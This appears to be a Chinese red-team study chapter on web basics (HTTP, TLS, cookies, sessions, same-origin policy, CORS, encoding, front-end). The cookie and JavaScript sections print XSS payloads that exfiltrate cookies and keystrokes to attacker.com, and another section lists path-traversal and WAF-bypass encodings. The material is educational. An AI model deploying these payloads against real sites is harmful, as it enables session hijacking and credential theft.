02-Web技术基础

一、Web技术概述

Web技术是互联网的核心，也是渗透测试中最常见的目标。
绝大多数的漏洞利用和攻击都发生在Web应用层。

Web技术栈全貌：

flowchart TD
    subgraph CLIENT[客户端]
        BROWSER["浏览器<br/>HTML/CSS/JS"]
        APP["移动 App"]
        API_CLIENT["API 客户端"]
    end
    subgraph NETWORK[网络]
        DNS
        CDN
        LB["负载均衡"]
        WAF
    end
    subgraph SERVER[服务端]
        WEB["Web 服务器<br/>Nginx/Apache"]
        APP_SERVER["应用服务器<br/>PHP/Python/Java"]
        DB["数据库<br/>MySQL/Redis"]
        CACHE["缓存<br/>Memcached/Redis"]
    end
    CLIENT -->|HTTP/HTTPS| NETWORK
    NETWORK --> WEB
    WEB --> APP_SERVER
    APP_SERVER --> DB
    APP_SERVER --> CACHE

红队需要理解整个技术栈，因为漏洞可能出现在任何一层。

二、HTTP协议深度解析

HTTP (HyperText Transfer Protocol) 是应用层协议，基于TCP（默认端口80）。
无状态协议：每个请求独立，服务器不保存客户端状态。

HTTP版本历史：
HTTP/0.9 (1991) - 仅GET，无头部，无状态码
HTTP/1.0 (1996) - 引入头部、状态码、POST/HEAD方法，RFC 1945
HTTP/1.1 (1997) - 持久连接(Keep-Alive)、管道化、Host头、范围请求，RFC 2616→7230-7235
HTTP/2 (2015) - 二进制帧、多路复用、头部压缩、服务器推送，RFC 7540
HTTP/3 (2022) - 基于QUIC (UDP)，0-RTT连接，RFC 9114

红队关注：HTTP/2带来了新的攻击面（如HTTP/2降级攻击、HPACK炸弹）

【HTTP请求方法详解】

方法	说明	红队关注点
GET	获取资源。参数在URL中(有长度限制)。可被缓存/收藏	URL参数注入(如 `id=1' OR '1'='1`)
POST	提交数据(如表单)。参数在请求体中	修改POST数据绕过客户端验证
PUT	上传/替换资源。可能导致任意文件上传	PUT方法写WebShell
DELETE	删除资源。可能被利用进行拒绝服务	资源删除攻击
HEAD	同GET但只返回响应头(无响应体)	快速检测端点，减少日志
OPTIONS	查询服务器支持的方法。常用于CORS预检	信息收集，了解服务端能力
PATCH	部分修改资源。与PUT的区别:PUT是全量替换	可能绕过PUT的完整性校验
TRACE	回显请求内容。用于调试，可被利用进行XST攻击	TRACE方法可能泄露Cookie(HttpOnly也无法保护)
CONNECT	建立隧道连接（用于HTTPS代理）	可能绕过HTTP代理限制

红队技巧：使用OPTIONS探测服务器，然后尝试危险的HTTP方法(PUT/DELETE/TRACE)

【HTTP状态码完整对照表】

1xx 信息响应 (Informational)
100 Continue 客户端应继续请求
101 Switching Protocols 切换协议(如WebSocket升级)
103 Early Hints 预加载提示

2xx 成功 (Success)
200 OK 请求成功
201 Created 资源创建成功（常用于PUT/POST后的响应）
202 Accepted 已接受，但尚未处理
204 No Content 成功但没有响应体
206 Partial Content 范围请求（断点续传）

3xx 重定向 (Redirection)
301 Moved Permanently 永久重定向
302 Found 临时重定向（可能将POST变为GET）
303 See Other 查看其他（明确要求GET）
304 Not Modified 缓存有效，使用缓存
307 Temporary Redirect 临时重定向（保持请求方法）
308 Permanent Redirect 永久重定向（保持请求方法）
红队关注：开放重定向漏洞(Open Redirect)常用于钓鱼

4xx 客户端错误 (Client Error)
400 Bad Request 请求格式错误
401 Unauthorized 需要认证（未登录）
403 Forbidden 已认证但无权限（权限不足）
404 Not Found 资源不存在
405 Method Not Allowed 不支持的HTTP方法
413 Payload Too Large 请求体过大
414 URI Too Long URL过长
429 Too Many Requests 请求频率过高（限流）
红队关注：403绕过技术（X-Forwarded-For、修改方法、路径fuzz）

5xx 服务端错误 (Server Error)
500 Internal Server Error 服务器内部错误
502 Bad Gateway 网关/代理收到无效响应
503 Service Unavailable 服务暂时不可用（过载/维护）
504 Gateway Timeout 网关超时
红队关注：500错误可能暴露堆栈信息导致信息泄露

【HTTP请求头详解】

请求头	说明	红队关注点
Host	目标主机名（HTTP/1.1必需）	Host头注入、虚拟主机枚举
User-Agent	客户端标识（浏览器/操作系统）	UA欺骗绕过检测
Cookie	发送存储的Cookie	Cookie注入、会话劫持
Referer	来源页面URL	Referer泄露、CSRF检测
Authorization	认证凭证（Basic, Bearer, Digest）	凭证嗅探、JWT分析
Content-Type	请求体MIME类型（form/json/xml等）	修改Content-Type绕过WAF
X-Forwarded-For	原始客户端IP（代理添加）	IP欺骗、SSRF绕过
X-Real-IP	同X-Forwarded-For	IP限制绕过、访问控制绕过
Accept/Accept-Language/Accept-Encoding	客户端偏好设置	指纹收集
Connection	连接管理	Keep-Alive滥用
Cache-Control	缓存策略	缓存投毒
X-Requested-With	Ajax请求标识（XMLHttpRequest）	CSRF检测绕过

【HTTP响应头详解】

响应头	说明	红队关注点
Server	服务器软件及版本	信息泄露，便于版本漏洞匹配
Set-Cookie	设置Cookie	Cookie属性缺失(无Secure/HttpOnly)
Location	重定向目标URL	开放重定向检测
Content-Type	响应体MIME类型	MIME类型混淆攻击
Content-Length	响应体大小（字节）	请求走私辅助
X-Powered-By	后端技术栈（如 PHP/7.4）	信息泄露
Content-Security-Policy (CSP)	内容安全策略	CSP bypass技术
X-Frame-Options	防点击劫持 (DENY/SAMEORIGIN)	缺失时可进行Clickjacking
X-Content-Type-Options	禁止MIME类型嗅探 (nosniff)	浏览器行为控制
Strict-Transport-Security	HSTS强制HTTPS	HTTPS降级防护
Access-Control-*	CORS跨域头	跨域配置检查
X-XSS-Protection	XSS过滤器（已废弃）	历史兼容

【原始HTTP请求/响应示例】

请求报文：

  GET /index.php?id=1 HTTP/1.1
  Host: www.example.com
  User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...
  Accept: text/html,application/xhtml+xml,...
  Accept-Language: zh-CN,zh;q=0.9
  Connection: keep-alive

响应报文：

  HTTP/1.1 200 OK
  Date: Thu, 01 Jan 2024 12:00:00 GMT
  Server: Apache/2.4.41 (Ubuntu)
  Content-Type: text/html; charset=UTF-8
  Content-Length: 1234
  Set-Cookie: PHPSESSID=abc123def456; Path=/; HttpOnly
  X-Frame-Options: DENY

  <!DOCTYPE html>
  <html>
  <head><title>Example</title></head>
  ...

三、HTTPS/TLS握手过程

HTTPS = HTTP + SSL/TLS（默认端口443）

TLS握手全过程（TLS 1.2为例）：

sequenceDiagram
    participant C as 客户端(Client)
    participant S as 服务端(Server)
    C->>S: ① ClientHello (TLS版本, 密码套件, 随机数1)
    S-->>C: ② ServerHello (选定TLS版本, 密码套件, 随机数2)
    S-->>C: ③ Certificate (SSL证书, 包含公钥)
    S-->>C: ④ ServerHelloDone
    C->>S: ⑤ ClientKeyExchange (公钥加密的PreMasterSecret)
    C->>S: ⑥ ChangeCipherSpec (通知开始加密)
    C->>S: ⑦ Finished (加密验证)
    S-->>C: ⑧ ChangeCipherSpec (通知开始加密)
    S-->>C: ⑨ Finished (加密验证)
    Note over C,S: 双方派生会话密钥，加密通道建立

密钥生成过程：

Client Random + Server Random + PreMaster Secret → Master Secret
Master Secret → 会话密钥(Session Keys)
会话密钥包括:
- 客户端写入密钥(Client Write Key)
- 服务端写入密钥(Server Write Key)
- 客户端MAC密钥(Client MAC Key)
- 服务端MAC密钥(Server MAC Key)
- IV(初始化向量)

TLS 1.3 改进：

仅需1-RTT（往返时间）即可完成握手
支持0-RTT恢复（之前连接过的客户端可立即发送数据）
移除不安全算法：RSA密钥交换、SHA-1、RC4、DES、CBC模式
仅保留前向安全(AEAD)密码套件
握手加密化：ServerHello之后的报文全部加密

HTTPS证书验证流程：

客户端获取服务器证书
验证证书的签名（用颁发者CA的公钥解密签名并比对哈希）
验证证书有效期
验证证书的域名（CN或SAN）
检查证书吊销状态（CRL或OCSP）
沿证书链验证到根证书（根证书预置于操作系统/浏览器）

红队关注点：

SSL剥离攻击(SSL Strip)：中间人将HTTPS降级为HTTP
- 工具：sslstrip, BetterCAP
- 防御：HSTS头
证书伪造与欺骗：
- 获取CA私钥→签发任意域名的证书（历史上多次发生）
- Let’s Encrypt免费证书被恶意利用
弱TLS配置：
- 允许SSLv2/v3、TLS 1.0/1.1
- 支持RC4、MD5等弱算法
- 测试工具：sslscan, testssl.sh, nmap —script ssl-enum-ciphers
证书信息泄露：
- SAN列表暴露子域名
- 证书透明度(CT)日志可查询所有已签发证书
- 工具：crt.sh查询历史证书
Heartbleed漏洞(CVE-2014-0160)：
- OpenSSL心跳扩展的缓冲区过读漏洞
- 可泄露服务器内存（包括私钥、会话数据）

四、Cookie机制

Cookie是存储在客户端的少量文本数据，由服务器通过Set-Cookie头发送，
浏览器自动在后续请求中通过Cookie头附带。

Set-Cookie属性详解：

Set-Cookie: sessionId=abc123; Domain=.example.com; Path=/;
Expires=Thu, 01 Jan 2025 00:00:00 GMT;
Max-Age=3600; HttpOnly; Secure; SameSite=Lax

属性说明：

属性	说明
Domain	Cookie生效的域名范围。`.example.com` → 所有子域名，不设置 → 仅当前域名。红队: 宽松Domain可被子域名XSS影响
Path	Cookie生效的路径。`Path=/` → 全站，`Path=/admin` → 仅/admin路径
Expires/Max-Age	过期时间(GMT)。均不设置 → 会话Cookie(浏览器关闭即删除)。Max-Age优先级高于Expires
HttpOnly	禁止JavaScript通过document.cookie读取。红队: 无HttpOnly时XSS可直接窃取Cookie。注意: TRACE方法可绕过HttpOnly(XST攻击)
Secure	仅通过HTTPS传输Cookie。红队: 无Secure时MITM可截获Cookie
SameSite	防CSRF: 跨站时不发送Cookie。Strict完全禁止、Lax仅GET跨站、None不限制(需配合Secure)。红队: Lax/Strict增大CSRF利用难度

Cookie与XSS的密切关系（红队核心知识点）：

document.cookie 可读取非HttpOnly的Cookie
XSS窃取Cookie的经典payload:
<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
即使设置了HttpOnly，XSS仍可：
- 利用当前会话直接进行恶意操作（不需窃取Cookie）
- 修改页面内容进行钓鱼

Cookie安全最佳实践：

必须设置HttpOnly和Secure
设置SameSite=Lax或Strict
合理设置过期时间，不宜过长
敏感的会话Cookie应每次登录重新生成
使用__Host-或__Secure-前缀增加安全约束

五、Session机制

由于HTTP是无状态协议，Session机制用于在多个请求之间维持用户状态。

三种常见身份维持方式对比：

方案	存储位置	优点	缺点
Cookie	客户端	简单，自动发送，可设HttpOnly防XSS	CSRF风险，体积限制(4KB)
Session	服务端	更安全，可存储大量数据	服务端内存开销，分布式需Session共享
Token (JWT)	客户端(自包含)	无状态，天然支持分布式和跨域	签发后难作废，体积较大

Session工作流程：

用户登录成功
服务器创建Session，生成唯一Session ID
Session ID通过Set-Cookie(通常HttpOnly)返回客户端
客户端后续请求自动携带Cookie(内含Session ID)
服务器根据Session ID查找对应的Session数据

Session安全（红队关注点）：

Session ID预测：如果Session ID是可预测的(递增、时间戳) →
会话固定攻击 → 伪造他人会话
Session固定 (Session Fixation)：
- 攻击者获取一个有效Session ID
- 诱使受害者使用此ID登录
- 登录后攻击者即可使用受害者的身份
- 防御：登录后必须重新生成Session ID
Session ID泄露：
- 通过URL传递(URL重写) → Referer头泄露到外部
- 未使用HTTPS → 明文传输被嗅探
- 日志文件记录URL中的Session ID
会话超时：设置的过期时间过长也是安全隐患

Token验证流程（JWT为例，详见认证章节）：

用户登录，服务器签名生成JWT返回客户端
客户端存储JWT(localStorage/Cookie)
每次请求在Authorization头带上：Bearer <JWT>
服务器验证签名（不解密，仅验签）
无需查数据库，无状态验证

六、同源策略 (Same-Origin Policy)

同源策略是Web安全的基石，由浏览器强制执行，限制不同源之间的资源访问。

源(Origin)的定义：
三个要素完全一致才视为同源：
1. 协议 (Protocol): http vs https → 不同源
2. 域名 (Host): example.com vs sub.example.com → 不同源
3. 端口 (Port): 80 vs 8080 → 不同源

示例：
http://example.com:80/a/ 与 http://example.com/b/ → 同源
http://example.com 与 https://example.com → 不同源(协议)
http://example.com 与 http://sub.example.com → 不同源(域名)
http://example.com:80 与 http://example.com:8080 → 不同源(端口)

注意：同源策略不阻止跨域资源的加载（如图片、脚本），但阻止跨域资源的读取。

同源策略的限制范围：

DOM访问：不同源的页面不能通过JS相互访问DOM
AJAX请求：不能向不同源发送XMLHttpRequest/fetch请求并读取响应
Cookie/LocalStorage：不能读取不同源的存储内容

跨域资源加载（允许的跨域行为）：

<script src="..."> 加载JS
<img src="..."> 加载图片
<link href="..."> 加载CSS
<video> <audio> 加载媒体
<iframe> 嵌入页面（但不允许JS读取iframe内容）
<form> 提交不限制（因此CSRF成为可能）

绕过同源策略的方式（部分）：

CORS（详见下节）—— 服务器主动允许
JSONP —— 利用<script>标签不受同源策略限制（老旧技术）
WebSocket —— wss连接不受同源策略严格限制
postMessage —— 跨窗口通信（需要目标配合）
DNS重绑定攻击 —— 利用DNS TTL变化使域名解析到内网IP

七、CORS跨域资源共享

CORS (Cross-Origin Resource Sharing) 允许服务器声明哪些外部源可以访问自己的资源。
本质是放宽同源策略的机制。

简单请求 vs 预检请求：

简单请求条件（全部满足）：
1. 方法：GET / HEAD / POST
2. 头部仅：Accept, Accept-Language, Content-Language, Content-Type
3. Content-Type仅：application/x-www-form-urlencoded, multipart/form-data, text/plain
4. 不读取响应流

满足条件 → 直接发请求，浏览器根据响应头决定是否拒绝
不满足 → 先发OPTIONS预检(Preflight)请求，通过后再发实际请求

关键CORS响应头：

Access-Control-Allow-Origin: * 或 https://example.com
允许的来源（*表示任意来源）
红队：*意味着任何网站都可以跨域读取这个接口的响应

Access-Control-Allow-Credentials: true
是否允许携带Cookie/认证信息
注意：此时Allow-Origin不能是*，必须指定具体域名

Access-Control-Allow-Methods: GET, POST, PUT, DELETE
允许的HTTP方法

Access-Control-Allow-Headers: Content-Type, Authorization
允许的请求头

Access-Control-Max-Age: 86400
预检结果缓存时间（秒）

CORS漏洞（红队核心）：

Origin反射漏洞：
如果服务器将请求的Origin原样返回到Access-Control-Allow-Origin，
且允许Credentials，任意网站都可以跨域读取敏感数据
空Origin绕过：
某些实现对Origin=null（来自本地文件、sandbox iframe）放松限制
子域名接管 + CORS：
如果Allow-Origin设置的子域名存在过期/可接管的情况，
攻击者可接管该子域名后利用CORS
正则匹配缺陷：
Allow-Origin: https://*.example.com → 弱正则可被绕过
如 https://attacker.example.com.attacker.com 被误判为匹配

测试方法：
curl -H “Origin: https://attacker.com” https://target.com/api/user

八、URL编码/解码

URL中只允许特定的ASCII字符集，其他字符需要编码。

URL编码规则：
格式：%后跟两位十六进制数（大写）
例如：
空格 → %20 或 +
@ → %40
# → %23
< → %3C
> → %3E
’ → %27
” → %22
/ → %2F
\ → %5C

URL结构：
scheme://user:password@host:port/path?query#fragment
___/ __/ ___________/ _/ _/
协议认证信息位置路径片段

红队URL编码技巧：

双重编码绕过WAF：
原始：SELECT → 一次编码：%53%45%4C%45%43%54
→ 二次编码：%25%35%33%25%34%35… (把%本身也编码为%25)
某些WAF只解码一次，如果后端解码两次则可绕过
编码变体：
- 大写/小写：%2f 和 %2F 都可表示 /
- Unicode编码：%u002F (不同后端解析方式不同)
- 超长UTF-8编码（overlong encoding）:
  / (0x2F) → %C0%AF(非法的2字节UTF-8表示，但某些解析器接受)
路径遍历绕过：
../ 的各种编码：
%2e%2e%2f
..%2f
..%5c (Windows反斜杠)
..;/ (分号在某些框架中被忽略)
%2e%2e/ 或 ..%252f (二次编码)
SQL注入：URL编码空格为%20或+，绕过空格过滤

九、Base64编码原理

Base64不是加密！是一种将二进制数据转换为ASCII文本的编码方式。

编码原理：

将每3个字节(24bit)分为4组，每组6bit
6bit取值范围0-63，对应编码表(A-Z, a-z, 0-9, +, /)
不足3字节时用0填充，输出中用=表示填充字节

编码表：
0-25: A-Z
26-51: a-z
52-61: 0-9
62: +
63: /

示例：
明文：“Man”
ASCII: 77 97 110
二进制: 01001101 01100001 01101110
6bit组: 010011 010110 000101 101110
十进制: 19 22 5 46
Base64: T W F u
结果：“TWFu”

"Ma" → "TWE=" (1字节填充)
"M"  → "TQ==" (2字节填充)

Base64变体：

URL安全Base64: 用 - 替代 +, _ 替代 /, 省略 =
MIME Base64: 每76字符换行

红队关注点：

Base64用于数据混淆，常见于：
- HTTP Basic Auth: Authorization: Basic base64(username:password)
- JWT的Header和Payload编码
- 恶意代码混淆(一句话木马)
- 数据传输(如在Cookie中传数据)
识别方法：字符串由A-Z a-z 0-9 + / = 组成，结尾常有=或==
解码工具：base64 -d (Linux), CyberChef, Burp Suite Decoder

Base64 vs 加密的区别：
Base64: 可逆编码，无密钥，纯粹字符集映射，等于没加密
加密: 需要密钥，没有密钥理论上无法还原

十、前端基础

【HTML表单】 — Web交互的核心

表单基本结构：

  <form action="/login" method="POST">
    <input type="text" name="username" placeholder="用户名">
    <input type="password" name="password" placeholder="密码">
    <input type="hidden" name="csrf_token" value="abc123">
    <input type="submit" value="登录">
  </form>

输入类型(Input Type)：
text, password, hidden, checkbox, radio, file, submit, button,
email, number, date, url, tel, search

hidden字段常用于传递CSRF Token等数据，攻击者可通过修改HTML注入/篡改

表单提交的Content-Type：
application/x-www-form-urlencoded (默认)
username=admin&password=123456

multipart/form-data (含文件上传)
------Boundary
Content-Disposition: form-data; name=“username”
admin
------Boundary
Content-Disposition: form-data; name=“file”; filename=“shell.php”

------Boundary—

application/json (AJAX常用)
{“username”:“admin”,“password”:“123456”}

红队关注点：

客户端验证不可信！必须测试服务端验证
hidden字段可篡改(如修改价格、修改角色)
文件上传利用（WebShell、绕过类型检查）
表单自动填充可能泄露敏感信息

【JavaScript基础】

JavaScript在浏览器中的作用：

操作DOM（Document Object Model）修改页面内容
处理用户事件（点击、输入等）
发送AJAX请求（与服务器异步交互）
操作Cookie/LocalStorage

XSS攻击中的核心JavaScript：

  // 窃取Cookie
  <script>
  fetch('http://attacker.com/steal?c=' + document.cookie);
  </script>
 
  // 键盘记录
  <script>
  document.onkeypress = function(e) {
    fetch('http://attacker.com/key?k=' + e.key);
  };
  </script>
 
  // 修改表单提交目标（钓鱼）
  <script>
  document.forms[0].action = 'http://attacker.com/steal';
  </script>

DOM基础：
document.getElementById(‘id’) // 通过ID获取元素
document.querySelector(‘.class’) // 通过CSS选择器获取
element.innerHTML = ’…’ // 修改元素HTML内容(危险!)
element.innerHTML = '' // DOM型XSS
document.cookie // 读取Cookie
window.location // URL信息

AJAX (Asynchronous JavaScript and XML)：
现代Web应用的核心，可以不刷新页面与服务器通信。

// 原生XHR
var xhr = new XMLHttpRequest();
xhr.open(‘POST’, ‘/api/data’, true);
xhr.setRequestHeader(‘Content-Type’, ‘application/json’);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
console.log(xhr.responseText); // dangerouslySetInnerHTML? DOM XSS!
}
};
xhr.send(JSON.stringify({key: ‘value’}));

// Fetch API (现代)
fetch(‘/api/data’, {
method: ‘POST’,
headers: {‘Content-Type’: ‘application/json’},
body: JSON.stringify({key: ‘value’})
}).then(r => r.json()).then(data => console.log(data));

前端框架基础概念（了解即可）：
React/Vue/Angular都使用”虚拟DOM”和”组件化”，引入了新的安全问题：

React dangerouslySetInnerHTML → 可能导致DOM XSS
Vue v-html → 可能导致DOM XSS
Angular bypassSecurityTrustHtml → 可能导致DOM XSS
SPA路由中的开放重定向
SSR(服务端渲染)中的SSRF

十一、红队视角总结

Web渗透测试的核心技术链条：
信息收集 → 漏洞发现 → 漏洞利用 → 权限提升 → 横向移动

必须掌握的Web技能：

抓包修改：Burp Suite / OWASP ZAP
理解每个请求头/响应头的意义
会手工构造HTTP请求（curl, python requests, Burp Repeater）
JS调试基本功（浏览器DevTools）
编码解码随手就来（CyberChef是你的朋友）

经典Web漏洞一句话概括：

SQL注入: 用户输入拼接进SQL查询,未参数化
XSS: 用户输入被直接插入HTML中
CSRF: 跨站请求在用户不知情时执行
SSRF: 服务器端请求被用户控制
XXE: XML解析器处理外部实体定义
文件包含: 文件路径被用户参数控制
文件上传: 未充分校验上传文件类型和内容
命令注入: 用户输入拼接进系统命令
反序列化: 不可信的序列化数据被反序列化

推荐学习路径：

熟练使用Burp Suite所有核心功能
搭建DVWA/WebGoat/PortSwigger Web Academy练习
阅读OWASP Testing Guide
深入理解一到两种后端语言(PHP首选，Java其次)
学会用浏览器DevTools调试JS

进阶前端知识：
深入学习前端基础中的HTML注入、CSS泄露、
JS原型链污染、CSTI、现代框架安全等高级主题。

RootStack

探索

02-Web技术基础

目录

一、Web技术概述

二、HTTP协议深度解析

三、HTTPS/TLS握手过程

四、Cookie机制

五、Session机制

六、同源策略 (Same-Origin Policy)

七、CORS跨域资源共享

八、URL编码/解码

九、Base64编码原理

十、前端基础

十一、红队视角总结

关系图谱

目录

反向链接